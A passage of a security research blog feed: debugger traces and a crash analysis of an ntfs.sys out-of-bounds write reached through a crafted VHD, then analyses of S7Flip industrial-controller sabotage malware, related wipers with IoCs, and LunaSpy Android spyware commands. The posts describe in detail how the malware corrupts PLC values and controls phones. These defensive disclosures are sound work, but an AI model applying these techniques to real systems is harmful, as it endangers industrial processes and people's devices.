r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x12f:
fffff806`28a3198f 8bd6            mov     edx,esi
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31991 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x131:
fffff806`28a31991 8bce            mov     ecx,esi
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31993 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x133:
fffff806`28a31993 412b4a10        sub     ecx,dword ptr &#x5B;r10+10h] ds:002b:ffff8f8d`385d0fa8=00000000 // StartingVCN
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31997 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!PageUpdateAnalysis+0x137: // actually it is i (index) + TargetVCN
fffff806`28a31997 41034d18        add     ecx,dword ptr &#x5B;r13+18h] ds:002b:ffffcd0f`d11ca1a0=00000007 // TargetVCN
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000009
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3199b rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x13b:    // read data that comes from image
fffff806`28a3199b 498b44d520      mov     rax,qword ptr &#x5B;r13+rdx*8+20h] ds:002b:ffffcd0f`d11ca1b8=4141414100000002
1: kd&gt; p
rax=4141414100000002 rbx=0000000000a8942b rcx=0000000000000009 // rcx is i (index)
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a319a0 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x140:
fffff806`28a319a0 498944ca20      mov     qword ptr &#x5B;r10+rcx*8+20h],rax ds:002b:ffff8f8d`385d1000=????????????????

</pre></div>


<p class="wp-block-paragraph">Mounting the generated VHD on a system using the affected <code>ntfs.sys</code> reaches the unchecked write in <code>Ntfs!PageUpdateAnalysis</code>:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; !analyze -v -force
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8f8d385d1000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80628a319a0, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------

KEY_VALUES_STRING: 1

    Key  : AV.PTE
    Value: Invalid

    Key  : AV.Page.Virtual
    Value: 0xffff8f8d385d0000

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 4500

    Key  : Analysis.Elapsed.mSec
    Value: 9710

    Key  : Analysis.IO.Other.Mb
    Value: 14

    Key  : Analysis.IO.Read.Mb
    Value: 15

    Key  : Analysis.IO.Write.Mb
    Value: 201

    Key  : Analysis.Init.CPU.mSec
    Value: 97484

    Key  : Analysis.Init.Elapsed.mSec
    Value: 11291658

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 265

    Key  : Analysis.Version.DbgEng
    Value: 10.0.29617.1000

    Key  : Analysis.Version.Description
    Value: 10.2604.29.1 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2604.29.1

    Key  : Bugcheck.Code.KiBugCheckData
    Value: 0x50

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_VRF_Ntfs!PageUpdateAnalysis

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff80628a319a0

    Key  : Failure.Exception.IP.Module
    Value: Ntfs

    Key  : Failure.Exception.IP.Offset
    Value: 0x1d19a0

    Key  : Failure.Hash
    Value: {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

    Key  : Faulting.IP.Type
    Value: Paged

    Key  : Hypervisor.Enlightenments.Value
    Value: 1113060

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x10fbe4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 0

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 1

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 0

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 528572

    Key  : Hypervisor.Flags.ValueHex
    Value: 0x810bc

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 0

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : SecureKernel.HalpHvciEnabled
    Value: 0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1

BUGCHECK_CODE:  50

BUGCHECK_P1: ffff8f8d385d1000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff80628a319a0

BUGCHECK_P4: 2

FAULTING_THREAD:  ffff8f8d2e595040

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffff8f8d385d1000

WRITE_ADDRESS:  ffff8f8d385d1000 Special pool

MM_INTERNAL_CODE:  2

PROCESS_NAME:  System

IP_IN_PAGED_CODE: 
Ntfs!PageUpdateAnalysis+140
fffff806`28a319a0 498944ca20      mov     qword ptr &#x5B;r10+rcx*8+20h],rax

STACK_TEXT:  
ffffe180`efdef068 fffff806`959ace42     : ffffe180`efdef0e8 00000000`00000001 00000000`00000080 fffff806`95ab7901 : nt!DbgBreakPointWithStatus
ffffe180`efdef070 fffff806`959ac36c     : 00000000`00000003 ffffe180`efdef1d0 fffff806`95ab7b00 ffffe180`efdef790 : nt!KiBugCheckDebugBreak+0x12
ffffe180`efdef0d0 fffff806`958f6537     : 00000000`00000000 fffff806`957d1cb6 ffff8f8d`385d1000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffe180`efdef860 fffff806`957d194c     : 00000000`00000050 ffff8f8d`385d1000 00000000`00000002 ffffe180`efdefb00 : nt!KeBugCheckEx+0x107
ffffe180`efdef8a0 fffff806`95640510     : 00000000`00000000 ffff8000`00000000 ffff8f8d`385d1000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffe180`efdef990 fffff806`95aacfcb     : 00000000`00000000 00000000`00000000 00000000`00000008 00000000`00000000 : nt!MmAccessFault+0x630
ffffe180`efdefb00 fffff806`28a319a0     : ffffe180`efdeff90 00000000`00000001 ffff8f8d`356279b8 00000000`00000001 : nt!KiPageFault+0x38b
ffffe180`efdefc90 fffff806`28a30f6f     : 00000000`00a8942b ffffe180`efdf08f0 ffff8f8d`357c85d8 00000000`000000e0 : Ntfs!PageUpdateAnalysis+0x140
ffffe180`efdefe10 fffff806`28a95000     : ffff8f8d`3514b7c8 ffff8f8d`357c81b0 00000000`00000000 ffffe180`efdeff90 : Ntfs!AnalysisPass+0x22b
ffffe180`efdeff30 fffff806`28a1c3be     : ffff8f8d`3514b988 00000000`00000001 ffff8f8d`3514b7c8 ffff8f8d`3514b988 : Ntfs!NtfsRestartVolume+0xbc
ffffe180`efdf00a0 fffff806`28a19f86     : 00000000`00000000 00000000`00000000 00000000`00000000 ffff8f8d`2e5950b8 : Ntfs!NtfsMountVolume+0x1816
ffffe180`efdf07e0 fffff806`2888e639     : ffff8f8d`3514b7c8 ffffe180`efdf08f0 00000000`00000008 ffff8f8d`2e595040 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffe180`efdf08c0 fffff806`956db7ec     : ffff8f8d`2e595040 ffff8f8d`2e595040 ffff8f8d`2a757ae0 fffff806`2888e020 : Ntfs!NtfsFspDispatch+0x619
ffffe180`efdf0a10 fffff806`95881afa     : ffff8f8d`2e595040 ffff8f8d`2e595040 fffff806`956db200 ffff8f8d`2a757ae0 : nt!ExpWorkerThread+0x5ec
ffffe180`efdf0bf0 fffff806`95a9ef84     : fffff806`2625e180 ffff8f8d`2e595040 fffff806`95881aa0 00000000`00000000 : nt!PspSystemThreadStartup+0x5a
ffffe180`efdf0c40 00000000`00000000     : ffffe180`efdf1000 ffffe180`efdeb000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34

SYMBOL_NAME:  Ntfs!PageUpdateAnalysis+140

MODULE_NAME: Ntfs

IMAGE_NAME:  Ntfs.sys

IMAGE_VERSION:  10.0.26100.6899

STACK_COMMAND: .process /r /p 0xffff8f8d2a691040; .thread /r /p 0xffff8f8d2e595040 ; kb

BUCKET_ID_FUNC_OFFSET:  140

FAILURE_BUCKET_ID:  AV_VRF_Ntfs!PageUpdateAnalysis

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

Followup:     MachineOwner
---------
&lt;/pre&gt;
</pre></div>


<p class="wp-block-paragraph">The following exploitation is trivial.</p>



<h3 class="wp-block-heading">Disclosure Timeline</h3>



<ul class="wp-block-list">
<li>September 23, 2025  The vendor was notified of the vulnerability and provided with a technical report.    </li>



<li>September 25, 2025  The vendor completed its internal triage and confirmed the vulnerability. Preliminary timelines for the fix and advisory were provided.</li>



<li>September 26, 2025  The vendor was notified of the planned public disclosure.</li>



<li>January 13, 2026        Security updates were released and the advisory was published.</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>This is Siemens...</title>
		<link>https://ptesc.tech/en/this-is-siemens/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Tue, 29 Sep 2026 18:38:28 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d1%8d%d1%82%d0%be%d1%82-%d0%b2%d0%b0%d1%88-siemens/</guid>

					<description><![CDATA[Recently, our colleagues from the Positive Industrial Expertise Center discovered a curious Windows sample on MalwareBazaar. Here is its SHA-256: e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2 Our attention was drawn to a…]]></description>
										<content:encoded><![CDATA[<p>Recently, our colleagues from the Positive Industrial Expertise Center discovered a curious Windows sample on MalwareBazaar. Here is its SHA-256:</p>
<pre><code>e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2</code></pre>
<p>Our attention was drawn to a message from the account that uploaded this sample:</p>
<figure class="wp-block-image"><img decoding="async" width="1024" height="291" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_636@29-09-2026_18-38-28-1024x291.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<p>Hmm, ICS malware, and it already has a ready-made name — S7Flip (so we don&#8217;t even need to strain our imagination to name it)? Sounds interesting! Let&#8217;s take a look at what&#8217;s inside.</p>
<p>After establishing persistence in autorun under the name <code>aphp.exe</code>, the sample begins collecting addresses of devices on the local network — these are addresses <code>192.168.*.*</code>, <code>10.*.*.*</code>, and <code>172.*.*.*</code> — after which it checks them for the presence of certain open ports that are widely used by industrial devices:</p>
<ul>
<li><strong>102</strong> — mainly used by Siemens controllers for communication via the S7Comm or S7Comm+ protocol.</li>
<li><strong>502</strong> — the standard port for the Modbus TCP protocol; it can be used by devices from any manufacturer.</li>
<li><strong>44818</strong> — mainly used by Allen-Bradley (Rockwell) controllers for communication via the EtherNet/IP (CIP) protocol.</li>
</ul>
<p>Connecting to Allen-Bradley (Rockwell) devices effectively does not work. There is no implementation of a client for EtherNet/IP (CIP): the branch reuses the Siemens client and attempts to connect via port 102 as if to a Siemens controller. A connection to a real Allen-Bradley will not be established — no impact is exerted at all on devices that have only opened port 44818.</p>
<p>Having identified the required devices, S7Flip connects to them and begins applying one of the destructive mechanisms (or both at once).</p>
<h2>Mechanism 1: &#8220;randomize&#8221; of values</h2>
<p>Via S7Comm (port 102): it iterates through DB blocks 1–10 one by one; for each, it selects a random offset 0–99, reads a 4-byte integer from there, adds a random integer from −10 to +10, and writes it back.</p>
<p>Via Modbus TCP (port 502): it selects a 16-bit holding register at a random address 0–99, reads the current value, adds a random integer from −10 to +10, and writes it back.</p>
<h2>Mechanism 2: bit inversion (findAndModifyInputs)</h2>
<p>Via S7Comm (port 102): it sequentially goes through the first 100 bytes in DB blocks 1–10: reads a byte, flips its least significant bit to the opposite value, and writes it back.</p>
<p>Via Modbus TCP (port 502): it sequentially goes through single-bit write cells (coils — discrete outputs, commands, flags) in the range 0–255: reads a bit, flips it to the opposite value, and writes it back.</p>
<p>Each change is written to <code>logs.csv</code> next to the executable file and contains five columns — time, tag, vendor, old value, and new value.</p>
<figure class="wp-block-image"><img decoding="async" width="539" height="461" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_637@29-09-2026_18-38-28.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<p>In addition to this binary, we also found another one:</p>
<pre><code>88717716e54b35682a28d673764975d439a31ee194c85dfc619a15ea93ab1280</code></pre>
<p>In terms of its operating logic, it is no different from the sample examined earlier. The main difference is that the <code>libmodbus</code> library, which implements the Modbus protocol, is dynamically linked in <code>e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2</code>, while in <code>88717716e54b35682a28d673764975d439a31ee194c85dfc619a15ea93ab1280</code> it is statically linked.</p>
<p>On the same day, from the same account <code>jeans</code>, in addition to <code>e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2</code> (file name — <code>Edge.exe</code>), another binary was uploaded:</p>
<pre><code>2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0</code></pre>
<p>On closer inspection, it turned out to be a wiper. When launched, it gentlemanly asks whether you would like to install Microsoft Edge:</p>
<figure class="wp-block-image"><img decoding="async" width="807" height="156" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_638@29-09-2026_18-38-28.jpg" class="attachment-large size-large" alt="" loading="lazy" /></figure>
<p>And if you decline, the wiper stops its work 😅</p>
<p>But if you agree&#8230; then be prepared for &#8220;unforeseen circumstances.&#8221; Here is the list:</p>
<ul>
<li>recursive deletion of all contents of the <code>%USERPROFILE%\Desktop</code> folder;</li>
<li>a file <code>compiled-desktop</code> will also be created there, containing exactly <code>1 048 576</code> random bytes;</li>
<li>and, of course, a <code>README.txt</code> file with a polite request to transfer bitcoins in the amount of 100 dollars.</li>
</ul>
<p>After all this, the malware adds itself to autorun.</p>
<p>File decryption is not provided for: the contents of the desktop are not saved anywhere. This is a pseudo-ransomware wiper.</p>
<p>The most interesting thing is that <code>README.txt</code> specifies a wallet to which the attackers propose to send the money: <code>bc1qp6ejw8ptj9l9pkscmlf8fhhkrrjeawgpyjvtq8</code> — this is the official donation wallet for the <code>Bitcoin.org</code> project. That is, the scammers don&#8217;t actually want a ransom? Hmm, interesting&#8230; 🤑</p>
<p>A little later, <code>jeans</code> uploaded another variant of this tool — <code>f47502628708300840efe2771a3c5e7e9a631205512f0a2ee6382a00a92056e2</code>, and this time the file is named not <code>Edge.exe</code> but <code>Edgev5.exe</code>. </p>
<p>Does v5 signify some kind of development or further improvement of the malware? Yes, in the new version the author added symmetric file encryption using AES-256-GCM, and also expanded the number of folders for encryption: now, in addition to Desktop, Downloads and Documents are also subject to encryption. True, there is one nuance&#8230; the key for decrypting the data is located in the <code>master_key.dat</code> file, and the bitcoin wallet is the same as in the earlier version of the wiper.</p>
<p>Apparently, the author of the malware is actively developing and testing their tool. It is possible that in the future they will begin actively using it in a &#8220;combat&#8221; form.</p>
<h2>So what is the connection between S7Flip and the wipers? 🧐</h2>
<p>While reading this post, you may have wondered: &#8220;how are S7Flip and the wiper connected to each other?&#8221; And in fact, there are certain coincidences:</p>
<ul>
<li>all binaries were compiled using the GCC 16.2.0 toolchain;</li>
<li>the build timestamp of the PE files <code>88717716e54b35682a28d673769475d439a31ee194c85dfc619a15ea93ab1280</code> (S7Flip) and <code>2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0</code> (<code>Edge.exe</code>) matches to within a day — 2026-09-13;</li>
<li>the shared account from which the files were uploaded to MalwareBazaar is <code>jeans</code>.</li>
</ul>
<p>Is this data sufficient to assert that S7Flip and the wipers were developed by the same author? No, certain doubts still remain, but there is nonetheless some connection.</p>
<h2>IoCs</h2>
<table>
<tr>
<th>SHA-256</th>
<th>Name</th>
<th style="text-align:center">PT Fusion</th>
</tr>
<tr>
<td><code>88717716e54b35682a28d673769475d439a31ee194c85dfc619a15ea93ab1280</code></td>
<td>S7Flip</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/c4cb038a-718a-4509-a22a-151d0ebf310a" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2</code></td>
<td>S7Flip</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/3ca9e76f-e2d8-4da7-85ed-4c950bb25d26" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0</code></td>
<td>Edge.exe (ver 1)</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/ebdd1e1e-02e6-4b42-adf3-d7ca2356cde2" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
<tr>
<td><code>f47502628708300840efe2771a3c5e7e9a631205512f0a2ee6382a00a92056e2</code></td>
<td>Edgev5.exe</td>
<td style="text-align:center"><a href="https://fusion.ptsecurity.com/shared/iocs/e50f6bc0-5e19-4ea5-8460-5840e32ec2ec" rel="noopener" target="_blank">Open ↗</a></td>
</tr>
</table>
<p><span class="hashtag">#malware</span> <span class="hashtag">#win</span> <span class="hashtag">#ioc</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Anti-antivirus</title>
		<link>https://ptesc.tech/en/anti-antivirus/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Mon, 28 Sep 2026 15:29:43 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%b0%d0%bd%d1%82%d0%b8-%d0%b0%d0%bd%d1%82%d0%b8%d0%b2%d0%b8%d1%80%d1%83%d1%81/</guid>

					<description><![CDATA[Recently, we came across an APK with an intriguing and trust-inspiring name: «Антивирус ФСБ.apk». After installing it, we discovered that upon launch, the user is greeted by the interface of a well-known Android call management app — Right…]]></description>
										<content:encoded><![CDATA[<p>Recently, we came across an APK with an intriguing and trust-inspiring name: «<code>Антивирус ФСБ.apk</code>».</p>
<p>After installing it, we discovered that upon launch, the user is greeted by the interface of a well-known Android call management app — <code>Right Dialer</code> by developer <a href="https://github.com/Goodwy/Dialer" rel="noopener" target="_blank">Goodwy</a>.</p>
<p>Most likely, the attackers chose this particular app because it requests a large number of permissions: working with contacts, making calls, accessing the camera, and so on.</p>
<figure class="wp-block-image"><img width="1011" height="1012" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_623@28-09-2026_15-29-43.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_623@28-09-2026_15-29-43.jpg 1011w, https://ptesc.tech/wp-content/uploads/2026/09/photo_623@28-09-2026_15-29-43-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_623@28-09-2026_15-29-43-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2026/09/photo_623@28-09-2026_15-29-43-768x769.jpg 768w" sizes="auto, (max-width: 1011px) 100vw, 1011px" /><figcaption>Fragment of the AndroidManifest of the Goodwy app</figcaption></figure>
<figure class="wp-block-image"><img width="1024" height="721" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_624@28-09-2026_15-29-43-1024x721.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_624@28-09-2026_15-29-43-1024x721.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/09/photo_624@28-09-2026_15-29-43-300x211.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_624@28-09-2026_15-29-43-768x541.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/09/photo_624@28-09-2026_15-29-43-1536x1082.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/09/photo_624@28-09-2026_15-29-43.jpg 1706w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Requested permissions</figcaption></figure>
<p>Opening <code>AndroidManifest.xml</code>, it is easy to see that the main package is <code>com.syscore.toolsuite</code>, not <code>com.goodwy.dialer</code>. This means that the Goodwy code was embedded into someone else&#8217;s app — the already known Android spyware <code>LunaSpy</code>, an earlier version of which was <a href="https://www.f6.ru/blog/lunaspy-android-research" rel="noopener" target="_blank">examined in an article</a>.</p>
<figure class="wp-block-image"><img width="1024" height="691" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_625@28-09-2026_15-29-43-1024x691.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_625@28-09-2026_15-29-43-1024x691.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/09/photo_625@28-09-2026_15-29-43-300x202.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_625@28-09-2026_15-29-43-768x518.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/09/photo_625@28-09-2026_15-29-43.jpg 1061w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Goodwy in activity-alias</figcaption></figure>
<p>Before conducting a static analysis of the sample, we ran it in the <code>PT Sandbox</code> sandbox to get a general idea of how the malware operates:</p>
<figure class="wp-block-image"><img width="1024" height="586" src="https://ptesc.tech/wp-content/uploads/2026/09/photo_626@28-09-2026_15-29-43-1024x586.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/09/photo_626@28-09-2026_15-29-43-1024x586.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/09/photo_626@28-09-2026_15-29-43-300x172.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/09/photo_626@28-09-2026_15-29-43-768x440.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/09/photo_626@28-09-2026_15-29-43.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Launching the app in PT Sandbox</figcaption></figure>
<p><strong>Key observations from the dynamic analysis:</strong></p>
<ul>
<li>Communication with command-and-control servers</li>
<li>Obtaining privileges</li>
<li>Creating hidden files</li>
</ul>
<p>The attackers expanded their spyware with a number of new commands (as the saying goes, if you use <code>Accessibility Service</code>, then use it to the fullest):</p>
<ul>
<li><code>GET_CALL_RECORDINGS</code> — sends to the command-and-control server a list of file names by iterating over files with the <code>.wav</code> extension whose size is greater than 44 bytes (the size of the WAV header) in the <code>getFilesDir()/call_recordings</code> directory</li>
<li><code>DOWNLOAD_CALL_RECORDING</code> — sends to the command-and-control server a call recording with the specified id, encoded in Base64</li>
<li><code>SET_REDIRECT_RULES</code>, <code>GET_REDIRECT_RULES</code> — substitution of outgoing calls according to rules received from the command-and-control server</li>
<li>More commands for managing device logging have been added: <code>REQUEST_LOGS</code>, <code>CLEAR_LOGS</code>, <code>LOGGING_ENABLE</code>, <code>LOGGING_DISABLE</code></li>
<li><code>RESET_SOFT</code>, <code>RESET_DEEP</code>, <code>RESET_GLOBAL</code> — restart of some or all of the spyware&#8217;s auxiliary services</li>
<li><code>RESET_REBOOT</code> — simulation of a device reboot (upon receipt — stops its services, cancels <code>WorkManager</code> tasks, simulates a system boot delay (8 seconds), after which it restarts the services)</li>
<li><code>GET_SCREEN_TREE</code> — get the parameters of the current screen: width, height, objects on the screen, their positions, text, and properties</li>
<li>Complex commands with parameters for controlling the device (simulating user actions): <code>PERFORM_TAP</code> (perform a tap on the screen), <code>PERFORM_SWIPE</code> (swipe across the screen), <code>PERFORM_INPUT_TEXT</code> (perform text input), <code>PERFORM_PATH_GESTURE</code> (perform a gesture along specified positions with a certain press duration), <code>PERFORM_PATTERN_UNLOCK</code> (the command is similar to <code>PERFORM_PATH_GESTURE</code>, but is intended for adaptive patterns, for example, pattern-based unlock), <code>PERFORM_BACK</code> (perform the &#8220;back&#8221; action), <code>PERFORM_HOME</code> (perform a transition to the home screen), <code>PERFORM_RECENTS</code> (view the list of recent apps) — commands that actively use the functions of <code>PerformGlobalAction</code> and the <code>GestureDescription</code> mechanism</li>
<li><code>REVIVE_PERMISSIONS</code> — shows the user a notification on top of all windows for the purpose of obtaining <code>android.permission.CAMERA</code> and <code>android.permission.RECORD_AUDIO</code> permissions</li>
